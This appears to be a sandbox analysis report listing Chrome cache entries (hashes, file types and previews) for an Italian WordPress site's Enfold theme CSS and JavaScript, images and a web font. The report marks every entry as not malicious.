Chrome Cache Entry: 257

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	40642
Entropy (8bit):	5.193260399697844
Encrypted:	false
SSDEEP:	768:1QaewHeUnfqAF1NnKJODRvzub+ysyvyDyvysyvyDy1VfTUaP61VLfL+UIbYm+Sb9:1QaewHeUn7F1NnKJOD5zubBz6+6z6+1V
MD5:	A94D1A7B5AE1459791A05B1ECCBD3212
SHA1:	FB1A535EB1430E5F6CAED592536E9CA5C1AD2810
SHA-256:	D04ACC209BDD31276518D4222608D66CB076DEF6FE8352A6C467730D9DC80136
SHA-512:	75EEE0E73CC2118609E4EC264E936D0E6D733241864CE7D9C7A26B349EE12363494BDDC54B83ECB8728C2E2934C4DD8C59FF18C70BF8CBFEE9DC559C29347E4C
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/js/shortcodes.js?ver=4.5
Preview:	(function($).{.. "use strict";.. $(document).ready(function(). {.. .//global variables that are used on several ocassions. .$.avia_utilities = $.avia_utilities \|\| {};. .. .if( /Android\|webOS\|iPhone\|iPad\|iPod\|BlackBerry\|IEMobile\|Opera Mini/i.test(navigator.userAgent) && 'ontouchstart' in document.documentElement). .{. ..$.avia_utilities.isMobile = true;. .}. .else. .{. ..$.avia_utilities.isMobile = false;. .}. . .//activate fixed bg fallback for mobile. .if($.fn.avia_mobile_fixed)...$('.avia-bg-style-fixed').avia_mobile_fixed();. .. .//activate parallax scrolling for backgrounds.. .if($.fn.avia_parallax)...$('.av-parallax').avia_parallax();. .. .//calculate the browser height and append a css rule to the head...if($.fn.avia_browser_height)...$('.av-minimum-height, .avia-fullscreen-slider, .av-cell-min-height').avia_browser_height();......//calculate the height of each video section...if($.fn.avia_video_section)... $('.a

Chrome Cache Entry: 258

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	3639
Entropy (8bit):	4.9961016718913
Encrypted:	false
SSDEEP:	48:VBJwgdEnc56Ou98gXorR8LKN8BV8oJ6We7Y5H4HhRy0yW5V5wVFBptwyb+PQAHtn:eBncQOub4HN8BvVe7H0A5g9vOQ+n
MD5:	168523E225F4F0DC1D246FA43CAD27E3
SHA1:	E49F737A1C513CB64C8B6985BF48A64DDB28CFC5
SHA-256:	4BB3A0DFCDC1D59AC8B394BF493506CCF9854C7FD5FB878302801D867FA50727
SHA-512:	F3EA6AF1CDF3AEBB0CD008141C28571CF3919FA63FC76D2E0E1C70FE45F271904245B9DC60466A62422565BD2813831239AA06CC37512A8D05753952089F4D34
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/css/avia-snippet-lightbox.css?ver=4.5
Preview:	/--------------------lightbox enhancements---------------/.../* ...mfp-figure - container that holds image and caption..mfp-bg - black overlay..mfp-preloader - "Loading..." incdicator..*/..mfp-ready .mfp-figure {. opacity: 0;.}..div .mfp-title{..line-height: 1.4em;. font-size: 13px;.}...mfp-title a{ text-decoration: underline; color:#fff;}..mfp-title a:hover{ text-decoration: none; opacity: 0.8;}...mfp-zoom-in .mfp-figure, .mfp-zoom-in .mfp-iframe-holder .mfp-iframe-scaler{. opacity: 0;. -webkit-transition: all 0.3s ease-out;. transition: all 0.3s ease-out;. -webkit-transform: scale(0.95);. -ms-transform: scale(0.95);. transform: scale(0.95);.}..mfp-zoom-in.mfp-bg,..mfp-zoom-in .mfp-preloader {. opacity: 0;. -webkit-transition: all 0.3s ease-out;. transition: all 0.3s ease-out;.}..mfp-zoom-in.mfp-image-loaded .mfp-figure, .mfp-zoom-in.mfp-ready .mfp-iframe-holder .mfp-iframe-scaler{. opacity: 1;. -webkit-transform: scale(1);. -ms-transform: scale(1);. transform:

Chrome Cache Entry: 259

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29265
Entropy (8bit):	4.701833638094252
Encrypted:	false
SSDEEP:	768:PxKlxFQFv3wnsrh2gAY14AmFQF/FQFYBRelJJQ7T5bWRJ3:0OsOFO93
MD5:	5E72B367CA46E49AD8C0439FB84FC0F8
SHA1:	A484EECB67A4543D1D54E665FD280FFDADC7BEFB
SHA-256:	E8DEC4D22E464C92DC112F244E569ED19B190E795CF1376B42BDC0E882F9DFDC
SHA-512:	7BBE22F1451B365784AE3E34EE82496AB7C77D339A2E207B7DB5E62E6501044F1C58B5095F5BD6DCE893F4324689B8FAAF5A70A9F869342BA4E17E302C5BA208
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/timeline/timeline.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.TIMELINE.====================================================================================================================================================== */...avia-timeline-container{. clear: both;. position: relative;.}..ul.avia-timeline {. margin:0;. padding:0;.}...avia-timeline .av-milestone-icon-wrap{. position: relative;. overflow: hidden;. text-decoration: none;.}...av-milestone-content p:last-child{margin-bottom: 0;}...avia-timeline .milestone_icon{. display: block;. height: 90px;. width: 90px;. line-height: 90px;. font-size: 30px;. text-align: center;. border-radius: 100%;. position: relative;. overflow: hidden;. z-index: 5;. color: #fff;. box-sizing: border-box;.}...avia-timeline .milestone_icon.milestone-icon-hasborder{. padding: 2px;.}...avia-timeline .milest

Chrome Cache Entry: 260

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	472
Entropy (8bit):	4.526594442743127
Encrypted:	false
SSDEEP:	12:7Riv72bORxfcRQhPRVXorR7MRJmxZRJPlTIR7MRAxZRoTi:7RivgORxfcRQBRVIR7UgxZRVlMR7UAxH
MD5:	4EED102095E23D4E6D345081846064B3
SHA1:	D8AB605554FB6023B1FBD59AF44959AAAEA6F54C
SHA-256:	0276ECC6EB34688965AF8F6B186F9D79F97505A31DD0CC983C3A3C6182CE97FC
SHA-512:	2ABE6E0518F2EB4A50F3AA1F444C07EB376CE2933E0A47539A3A41E0FD109B8C658E849CDF0E8E36460C4A16465A930302F7B73466B4139E2252C71AE6351294
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/buttonrow/buttonrow.css?ver=6.0.9
Preview:	.avia-buttonrow-wrap > .avia-button{. vertical-align: bottom;.}...avia-buttonrow-left{. text-align: left;.}...avia-buttonrow-right{. text-align: right;.}...avia-buttonrow-center{. text-align: center;.}...avia-buttonrow-right .avia-button:first-child,..avia-buttonrow-left .avia-button:first-child{. margin-left: 0 !important;.}...avia-buttonrow-right .avia-button:last-child,..avia-buttonrow-left .avia-button:last-child {. margin-right: 0 !important;.}.

Chrome Cache Entry: 261

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	4975
Entropy (8bit):	4.866935622982883
Encrypted:	false
SSDEEP:	48:kGABUpZN7wgOavwggXNnvxacX5TlUQX33Yi2AdAklbHUt0nnBvpdNqs4JMyqM7w4:ZABUpnLMpdx+QX3xlHxv/NqX7gugeT
MD5:	26E6FB56D44A236661556EF720264B89
SHA1:	1944F1DE99A0DA954F01518A8256938409F719BE
SHA-256:	A996B0EAC3460F60BDD23A78795A049A70483324F2344D52C704365A1537F2DA
SHA-512:	8F096A4DADA198A7AE1F9EE43294DB850AD04C7A9776058B9C126F2C2CBCD658F55FE1AD06B74D76F4414F770C7BA927E15ED14E740D48632D2440A5BAE7748A
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/headline_rotator/headline_rotator.js?ver=6.0.9
Preview:	(function($).{ .."use strict";....// -------------------------------------------------------------------------------------------..// Avia Text Rotator..// ..// accordion slider script..// -------------------------------------------------------------------------------------------...$.AviaTextRotator = function(options, slider)..{.. this.$win. .= $( window );.. this.$slider .= $( slider );.. this.$inner. .= this.$slider.find('.av-rotator-text');.. this.$slides.= this.$inner.find('.av-rotator-text-single');.. this.$current = this.$slides.eq(0);.. this.open..= 0;.. this.count..= this.$slides.length;.. .. if($.avia_utilities.supported.transition === undefined)...{....$.avia_utilities.supported.transition = $.avia_utilities.supports('transition');...}......this.browserPrefix .= $.avia_utilities.supported.transition;.. this.cssActive ..= this.browserPrefix !== false ? true : false;...this.property..= this.browserPrefix + 'transform',......//this.cssActive

Chrome Cache Entry: 262

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 408 x 464, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18160
Entropy (8bit):	7.9507935414647015
Encrypted:	false
SSDEEP:	384:E6bVK9GIzUQWsZdSawiqS61S3z+Ai3Azy1tL62pW1l0Z86vjNPTN:E6pLIAw2aFqSWS3z+AMZ3k/6vhN
MD5:	CC6D2A2EBBDB4CA2D35C2A94F666E56C
SHA1:	7B9695FBE92878E751DB650F89A9E9A74279EE10
SHA-256:	DEDCB23076BE667A897F4A90BDE0BC80C6A6A58CFE68433BDE59546EB9B74EB5
SHA-512:	C9E27F2AAF2AEF1CA88C45EBA39DB2D1C16BAF6886EDDB39FB6723A97320E31697FB53AA8B885B1E445D2F361F91BE0A75B14399D990953D543735A400320E16
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/about/images/reCAPTCHA-logo@2x.png
Preview:	.PNG........IHDR..............0\|T..F.IDATx..[l\G..Gq[.j..-.......Q.b....:.=.K.6@#KP..U.!(B&!..i......j.B.$>g...%.(.u..H.T.....P5q..gw......H.b;.b.....f...d.....3C.....B..W.Y..o....c..>k..M$x..L....x"...@..>..N.\..}o>'...Z.=.bd.[c..g.w.9~......!....<E......!....QCd...#_..w.....r7.>...U..?....u...[G.....wG4....+....X...-.R>.,z:.X.X....c.B%60u).._...g.:......._.[...N...t-.)S.J.g<...:.3.Dv.........T..z.#..y_PL......~.nv.k...Z.#...G..^.D..k...jS..m....Ti.J........e _..j.,3j..."..4....#.!sSZ@....RS.K..1.~..d.t.Ra.........T7....L..RK4].....h....\...L./....Q...o.Y-...9.EF.].;!.NS.9.e3..!.2....U..T.'.....%c..IC2.....W.S...v?...MP.{[..7&...t.....p.........V.NF5..J....+5=n%..?T..$.....GK...&..-....3:'(.........}...-...zv2...m.T..V.R.d.Z.......a~.G.xz....M..KT...P....7......X..h<}.d..`.NU;>}\|^0k#"S1..^.i..3L.r.9\|Os.......S..>V.;.xy4..d...*.Z.\|f.pKL.....:.........=.~....;z..n...M.D1.OMC2.L..Sc..f..G.Y..L.&..h&.hX.}m..XW....P.zU..&.....d ..+.i.h.u&B......r....

Chrome Cache Entry: 263

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (314)
Category:	downloaded
Size (bytes):	79923
Entropy (8bit):	5.101096734419753
Encrypted:	false
SSDEEP:	768:0ntpxlN02pnPYcID+eunPJvlqdxWL/qtmzeLOFOaxp6KZVK3co4jdvea:IXxlpMDWPJvlqerqtKeSf6S
MD5:	C794D8D6A54BC6C470EBDB1F6A831A55
SHA1:	D8078D7CFBAC430D9B680210D8C6B84C1B91D293
SHA-256:	117CF55F4F945248218E05807FE0288EE15903F1A71D9CDF718413880CCEA653
SHA-512:	FDE30A705BBB0496F6022F8A86F9565B56342EB7A609CA45E2F1E3F9B5F630BBE293860474D51988DC1AE4471294CBE3FFCE5D74D912752222AB33839CA12E14
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/css/layout.css?ver=4.5
Preview:	/* Table of Content.======================================================================================================================================================..#Site Styles..#Blog Styles..#Page Styles..#Post Formats..#Widget & Sidebar..#Footer & #Socket..#Comment..#CSS Animations..#Media Queries../../ ======================================================================================================================================================.#Site Styles.====================================================================================================================================================== /..#header{.position: relative;.z-index: 501; /(issues/769)/.width:100%;.background: transparent;.}...#header_main .container, .main_menu ul:first-child > li a{ height:88px; line-height: 88px; }.../ sticky variation*/..html_header_top.html_header_sticky #main{ padding-top:88px; } ..html_header_top.html_header_transparency #header{ position: absolute; }..html_hea

Chrome Cache Entry: 264

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	5506
Entropy (8bit):	4.9181132050172085
Encrypted:	false
SSDEEP:	48:jA2gmAmOqm0HambRzsq0bTg5bxw6CL66qukZ0L1iGioWMODLAsZAvqQQr5DFAv55:QabxjC+6YLZQqQG5RQ5QLZkr
MD5:	5637234570B03B86FE3C641F3C3E09AA
SHA1:	A8719B6F0BC2F49802B105E8DCFAC82F57C18B99
SHA-256:	26AB2D6C2706A14EFE35814604C70499DC4DEC59F3F548D7A57A4E0829E2F15E
SHA-512:	9D500CB25A9C6AE7D32CDE093B43DE0A2F3898C6CCEB59D5FA2005ECBCB3B8BF485D4F9980D9AD4F6C8D9D9C7D5B8286FC6BB84D35F87AFCFE24478D41E05DB1
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/image/image.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.Image.====================================================================================================================================================== */..avia-image-container{display:block; position: relative; max-width: 100%;}..avia-image-container-inner, .avia_image, .av-image-caption-overlay{border-radius: 3px; display:block; position: relative; max-width: 100%;}..avia-image-container.avia-align-center{display:block; margin: 0 auto 10px auto; text-align: center; clear: both;}..avia-image-container.avia-align-center .avia-image-container-inner{margin:0 auto; display:inline-block; vertical-align:bottom}..avia-image-container.avia-align-left{display:block; float:left; margin-right: 15px; margin-top: 5px;}..avia-image-container.avia-align-right{display:block; float:right; margin-left: 15px; margin-top: 5px;}..avia-image-contai

Chrome Cache Entry: 265

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2974
Entropy (8bit):	4.954218561225648
Encrypted:	false
SSDEEP:	48:eUT6SIp7kVrXKkVrOAkVrdpT1tGoLa0u5azvF6jiJTVfXII0mIUwQk6D820W8DC5:nkpkL/aJNg0u5arFTZA0rDgWmo
MD5:	024313E08099EEB557F7C03CE4B3EE82
SHA1:	DE3653E75740ECED4EF4D8D7BDB8613A2C1038FF
SHA-256:	0F074F370473A437A345467CD13A2E090520221E3340B1253959FEFB587B89C5
SHA-512:	B5BC1D4C1484F927ABA0B08919E602E14462014CB90AFF43AF8D895172F4DB712B3EB0C3429735EE2B123CF1B314A9AF117EEE9FF2EBCCC58020ED4607DAEBAF
Malicious:	false
Reputation:	low
Preview:	// -------------------------------------------------------------------------------------------.// Big Number animation shortcode javascript.// -------------------------------------------------------------------------------------------..(function($).{..// options.simple_up = dont prepend leading zeros, options.instant_start = trigger counting instantly, options.start_timer = delay when to start counting..$.fn.avia_sc_animated_number = function(options) ..{...if(!this.length) return;...if(this.is('.avia_sc_animated_number_active')) return;......this.addClass('avia_sc_animated_number_active');.....var skipStep = false,....simple_upcount .= (options && options.simple_up) ? true : false,....start_timer .= (options && options.start_timer) ? options.start_timer : 300,...start_count = function(element, countTo, increment, current, fakeCountTo)...{............//calculate the new number....var newCount = current + increment;........//if the number is bigger than our final number set the number a

Chrome Cache Entry: 266

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6521
Entropy (8bit):	3.608873022770343
Encrypted:	false
SSDEEP:	96:sV6/l9KLvPvHgARGZv8xis1UdladZ2/SDK4soea32pB5xmiY:smbMvPvHgARGZv81fdo/SD74a32KiY
MD5:	23EAD2A4210E41EDEC1EB832658C70D5
SHA1:	3BDF7DFA0DB381DF05121A685EB7886A4485E176
SHA-256:	4608E5697A24255F61DF701FBC0868A521F660C95049986B99FEEB7C212CCD8E
SHA-512:	EC741E4F4FCC47E4DCA631A6233DAABEB7BA64781CEE596427B4BC0AE6DD8C862F228F9F2F1592B5589713A80BCFA3B0ECD9DE981C40E970ECA561850DAEC125
Malicious:	false
Reputation:	low
Preview:	// -------------------------------------------------------------------------------------------.// Avia Timeline.// -------------------------------------------------------------------------------------------...(function($) {. "use strict";.. $(window).on('load', function (e) {. if ($.AviaSlider) {. $('.avia-timeline-container').avia_sc_timeline();. }. });... $.fn.avia_sc_timeline = function (options) {.. return this.each(function () {.. var container = this,. timeline_id = '#' + $(this).attr('id'),. timeline = $(timeline_id),. methods;.. methods =. {. // make sure all milestones have the same height in horizontal timelines. matchHeights: function(){.. //date.......this.setMinHeight( $(timeline_id + ' .av-milestone-placement-top .av-milestone-date'), true );........//content.......this.setMinHeight( $(ti

Chrome Cache Entry: 267

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 44584, version 1.0
Category:	downloaded
Size (bytes):	44584
Entropy (8bit):	7.989114524329455
Encrypted:	false
SSDEEP:	768:Fk3EENWe3OFWghUYjRfwX9434VKKRJKXuszWdndKD3NQfw/akZ9jz4Pp+8b+GW6:ece3ihZjRoE4VjrIasD9Qfw/aKz4h+Uf
MD5:	E04669366CDA1ACA21161F9E22BAC3AE
SHA1:	157532EC5CDB07C395EB96AA6E9D0DE1EEB869A7
SHA-256:	43A079FD739DFFA727DE659B5BBF44596031AA7542C8A8AFBC54A243AAB96B47
SHA-512:	6422CF1A0098E936F3F58E44338951CC255F72D3DA13848850A3F84ACE884947F622A03FDAAD5E0C3C14943C9564AF654FAA326624B30B14748736E09342005D
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/fjallaone/v15/Yq6R-LCAWCX3-6Ky7FAFrOF6kg.woff2
Preview:	wOF2.......(.......H..................................z..@.`....z........p.....0..6.$..\. ..T..I..K[..qB..t.n2.".t..R...n.4.T.W......a..V...'&.!3.>-+..z..r...u.Dn......+3....r....n....?..z.....o..!.O6.5..b..;.Z..Z.E.'.t41.3A,..Y._/...8i...}D}..oW.[\|!.......[..(..n...<>.0..N..q^...k..=s.5..jc.:o.......u..w{.....8.BC...b.oQ\..'.a.~..{../.c.A.h1....?.....1\..]&}.Tz..^7..].....b.(#.. .2.A......Z.@m...m.@...x..M.W..".V@-...~...:.s.Qc.=.j..U...6b....=.$R.U.D.a...H.xa.....F.(E.....'eB%.2L..(...0.f...........!.....PT.xn.._...?....6.........}..o.n..p...u.M.+.:1.R..."..C..B.D.8]....8..?.=q.}_y.+..k.D..)3l.....I..m.H=..9....9..qR.9"....>,....V....mjY.A........KvN&......I...u...#..O..t.....(.....@...NO.6...A..~G...=..}.z..2.......a....og.$..(.....h.k......c.tL0...!...hj.j(..C... ...P.......^.D....C.YDK)V.oe...U..W...h.B2$...R..Q...O>L.u."os..S.........t..H...f..,.V.s..x.%.}.+..fq.A(..-..o..;.I.!G....+....U!.........'.X2/.C(.}..G.XL...V......K.P..x.m~`.o.....5

Chrome Cache Entry: 268

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	784
Entropy (8bit):	4.440391379109024
Encrypted:	false
SSDEEP:	12:jn4IfO8hRGcNmZH8Hql298TggCCgEcMTXeWmos5/ZzWgMb:bThj62CTzTXeWmos5xzWgMb
MD5:	08B7F19D89B532948C890F1107A76C9C
SHA1:	CEDB1D9D8444B39C24FAA7E9EF502FF0ACD2F925
SHA-256:	5CF52E501833EB1D14D3C61DE8243E9639ABDAF65555F7F5281CF7DD09336F23
SHA-512:	6F24C703A4DE00FBECE42E6E7E2C539DC3B9AEE5BE7BC4F745110E4BB99DDCBB1C06B2D2B6584E277FC130DC1A02289A7D9C16D8B27A3BC607543DD07830F60F
Malicious:	false
Reputation:	low
Preview:	// -------------------------------------------------------------------------------------------.// AVIA Image Hotspots.// -------------------------------------------------------------------------------------------..(function($).{ .."use strict";...$.fn.aviaHotspots = function( options )..{...if(!this.length) return; ....return this.each(function()...{....var _self = {};........_self.container.= $(this);...._self.hotspots.= _self.container.find('.av-image-hotspot');........._self.container.on('avia_start_animation', function().....{......setTimeout(function()......{......._self.hotspots.each(function(i).......{........var current = $(this);........setTimeout(function(){ current.addClass('av-display-hotspot'); },300 * i);.......});......},400);.....});....});..};...}(jQuery));

Chrome Cache Entry: 269

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	3712
Entropy (8bit):	4.938508521934181
Encrypted:	false
SSDEEP:	48:2urbAu/xypO+yfFrMUzaA/L69K6BQReUqQ7qZwV9WV9CqZTx3:ZAu/GkMUWPPjsuwbWbCuTx3
MD5:	04A5FEE40220CA682687A1D493FBCF54
SHA1:	51F935209D60DE6A74D7BE90BD26D0C7450232CA
SHA-256:	B3A5239413B3162BC28614E17F985AAD6B8C5E929D338FB15FD50CDD9067FEB6
SHA-512:	5E0452F34306C5395DBE48398631A7D03A60A984D6D9F1FB3ADCC57C5835E52223361977A72756B181623E2CBED3DD3CD966A7286BB5730B1CF513EA5E09B7FC
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/iconlist/iconlist.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.ICONLIST.====================================================================================================================================================== */..avia-icon-list-container{margin:30px 0; clear: both;}..avia-icon-list{margin:0; padding:0;}..avia-icon-list li{margin:0; padding:0 0 30px 0; list-style-type: none; list-style-position: outside; clear:both; position: relative; min-height:60px;}..avia-icon-list .iconlist_icon{height:64px; width:64px; line-height: 64px; font-size: 30px; text-align: center; border-radius: 500px; position: relative; float:left; margin-right:30px; margin-left:2px; z-index: 5; color:#fff;}..avia-icon-list a.iconlist_icon:hover{color:#fff; text-decoration: none;}..avia-icon-list .iconlist_title{text-transform: uppercase; top: 4px; margin-bottom:0; position: relative;}.#top .avia-icon-list .iconlis

Chrome Cache Entry: 270

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 333 x 50, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	25096
Entropy (8bit):	4.968019197309454
Encrypted:	false
SSDEEP:	384:QJN9NvOKt05UD7aqNGnVlZg/3Xnf7TeHMJe:0N9NvJtB+DZg78MJe
MD5:	D80AC861EC95C47E067F19CF62DF6566
SHA1:	251E3EDC59011BD7D7B45059431C19E4EE9F31DE
SHA-256:	C510646040C6062D1369F5E7FAF1D2F9984036AC3EC49C204C6C4E0B79ED2FBF
SHA-512:	F406B238838565E9BCDD3B037D1153DFC96A0BD0DEADBC1B1B25AEF72D34777165EB24F710292DF046B905F83F9913A56E2538919E6F38684FDA442E33AD9A8F
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/uploads/2019/05/Cipasso_simbolo3.png
Preview:	.PNG........IHDR...M...2.......d....pHYs.................iCCPPhotoshop ICC profile..x..wT.Y.......-!.RBo....k...FH ...B.......X...eDFD... cA,X..{..AE]..6T....{v..=g.s.9..{........Nr.R1...-..b...I.)l.. .......\.ott8...p.....6\.T..[...sy.H4...sy...1...'....$.0^......`..S..-...Lr=.0.&............D.re...].`...r..'....E.....x.\>.M........h..`..O>...LSzr..%O......Q.T.].....+..0...P....$..&kI..%i.QS,.O......!.S...O.b>7 l..Y.S.M...9qS,[.....#....%....Nq.(.3....)..%DNqnVl......S.({..)g.....K...Q.....G...#..)}......J=7/VyV..S....i.h.."..<y.29.....r.H ..}.Rq:.#...b;...$%..'......@XW...N....D0.q..N<.`\|.........)dy.......P.&h.>.....8...@ .B..A2,...!.d...`..C)l..P......!8.mp...E..}p......K...0. ...#.D.1@L.k..qE..@$..A..TD.H..R..CJ.2...4"."'...e....."#.[....4...f.l...E..8t!@s.\|...V.u.A..=.^Eo...Kt.....0C..s...(,...d.*.....f....n`..+.3..c..8.........rp.p.qU...V.y... n...O.....x.>././...+..............E0'..B..L...F..B....O."...Dm.5..E....b.N.A...u.0...J2 9..H)$.i-..t.t.t

Chrome Cache Entry: 271

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	3132
Entropy (8bit):	4.906445465361412
Encrypted:	false
SSDEEP:	96:dim36puxKtaUk3F3fIe+N+bkSJ17JZQDo:diPYsQIOkq3Zx
MD5:	2677912FE3E873BD6795B03A1805CA07
SHA1:	49134743EB291B9A37795CC84D18F98AD0539390
SHA-256:	5C892F4E17CC9767DE2CBE574C4B00AD6951BB5DE908446EDEDEBC87EF43D6BD
SHA-512:	421EF6186A6A9CE81E3F68CF840578646BB3A8924662A6E6A1A8761461FFF78CC5BBED1B61387100402C5A486769C762621A58B69D604FE8195DC4BBA9E4879B
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/iconbox/iconbox.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.ICONBOX.====================================================================================================================================================== */.#top .iconbox{background: transparent;}...iconbox{.margin-bottom:30px;.position: relative;.clear:both;.}...iconbox_icon {.float: left;.margin: 2px 10px 0 0;.height: 23px;.width: 23px;.font-size: 23px;.line-height: 18px;.-webkit-transition: all 0.3s ease-in-out;.transition: ..all 0.3s ease-in-out;.}..a.iconbox_icon:hover{.text-decoration: none;.}...iconbox_left .iconbox_icon {.border-radius: 50px;.text-align: center;.position: relative;.top: -7px;.left: -5px;.height: 30px;.width: 30px;.line-height: 30px;.margin: 2px 0px 0 0;.}...iconbox .iconbox_content .iconbox_content_title {.border: medium none;.padding: 2px 0 0 0;.position: relative;.margin:0 0 16px 0;.clear:none;.letter-s

Chrome Cache Entry: 272

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	3676
Entropy (8bit):	4.893827432984945
Encrypted:	false
SSDEEP:	96:YO3Uejknqcd98d+DYiXKpc7mcG4bRkDf53:YqjknbjmH
MD5:	777A2713EE53862260BEE5CB0C33089C
SHA1:	C98C8B63E40D551F5A2F5658807660C305E66CFE
SHA-256:	5F38C27B1CAA42E09FD9429E5E669A7923BF86DEF89E6326AACE23F0AF10D913
SHA-512:	20DC563250091E4CFA6BA7A0962076ABD18C84DE988343E9E6D48D45E558DE2AA24A42A7793BAC13FCA84696F11C6024C34B91B348673C493BD048E51152D478
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/tabs/tabs.js?ver=6.0.9
Preview:	// -------------------------------------------------------------------------------------------.// Tab Shortcode.// -------------------------------------------------------------------------------------------..(function($).{ .."use strict";...$.fn.avia_sc_tabs= function(options)..{...var defaults =...{....heading: '.tab',....content:'.tab_content',....active:'active_tab',....sidebar: false...};.....var win = $(window),....options = $.extend(defaults, options);.....return this.each(function()...{....var container .= $(this),.....tab_titles .= $('<div class="tab_titles"></div>').prependTo(container),.....tabs ..= $(options.heading, container),.....content .= $(options.content, container),.....newtabs .= false,.....oldtabs .= false;......newtabs = tabs.clone();....oldtabs = tabs.addClass('fullsize-tab').attr('aria-hidden', true );....tabs = newtabs;......tabs.prependTo(tab_titles).each(function(i)....{.....var tab = $(this), the_oldtab = false;.......if(newtabs) the_oldtab = oldtabs.filter(

Chrome Cache Entry: 273

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	14691
Entropy (8bit):	4.8063400415127555
Encrypted:	false
SSDEEP:	192:u3QQ2yItETTVMnl2usTe1tS+3xGcDjNRcB/6jawdyv7B2eYvPj4cV8lryv/n4Po2:lyItETTCuSk6I
MD5:	F62ACE0989D6951EAA9E7E4386188B54
SHA1:	CE2111A3FFACEA0F536CC6FEB42C473C61DA7B64
SHA-256:	D6AB97A1E882663F0523529D464422B02293F6446D205AAA90B10EB8DFD2BF5E
SHA-512:	816072D0C9FBD8FBD43D04921751B94A40DF1878C9A222A772B6A80281C82D6B9C0DEE5D7724420CC4E73E04E56B444971A7A36EE3BE059FC46F237F58986E5C
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/icongrid/icongrid.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.ICONGRID.====================================================================================================================================================== */....avia-icongrid{. margin: 0;. padding: 0;. list-style: none;. display: block;. width: 100%;.}...avia-icongrid-borders-all{. border-width: 1px;. border-style: solid;.}...avia-icongrid li{. display: block;. float: left;. margin: 0;. padding: 0;. list-style: none;. text-align: center;. position: relative;.}....avia-icongrid-icon{. font-size: 42px;. line-height: 1;. margin-bottom: 0.5em;. color: initial;.}...avia-icongrid li .avia-icongrid-wrapper{. position: relative;. display: block;.}...avia-icongrid-borders-all li .avia-icongrid-wrapper:before,..avia-icongrid-borders-between li .avia-icongrid-wrapper:before {. c

Chrome Cache Entry: 274

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	27249
Entropy (8bit):	5.102725454034097
Encrypted:	false
SSDEEP:	384:/Lvzx7nLva60vui7HLvdSPkPMTkIbViSQUFatwpJpi8WJi:/LvlLvcrLv4pxVJJpi8Wc
MD5:	359ACA8A88B2331AA34AC505ACAD9911
SHA1:	800A4F56BB87049E1F0D45CF93C4E8EF79144B45
SHA-256:	655AE452D922F501B62C7028FC35E238138DE989387381CC1ED9CEA9085864DB
SHA-512:	694429B843B8BE04FFE5DEBB9DB48F45E02767F4B6AE177A5DF372F9AC26271FC0F969398AFF382DB631EDEA8547CC50F24EB470C21C750D507544D056550702
Malicious:	false
Reputation:	low
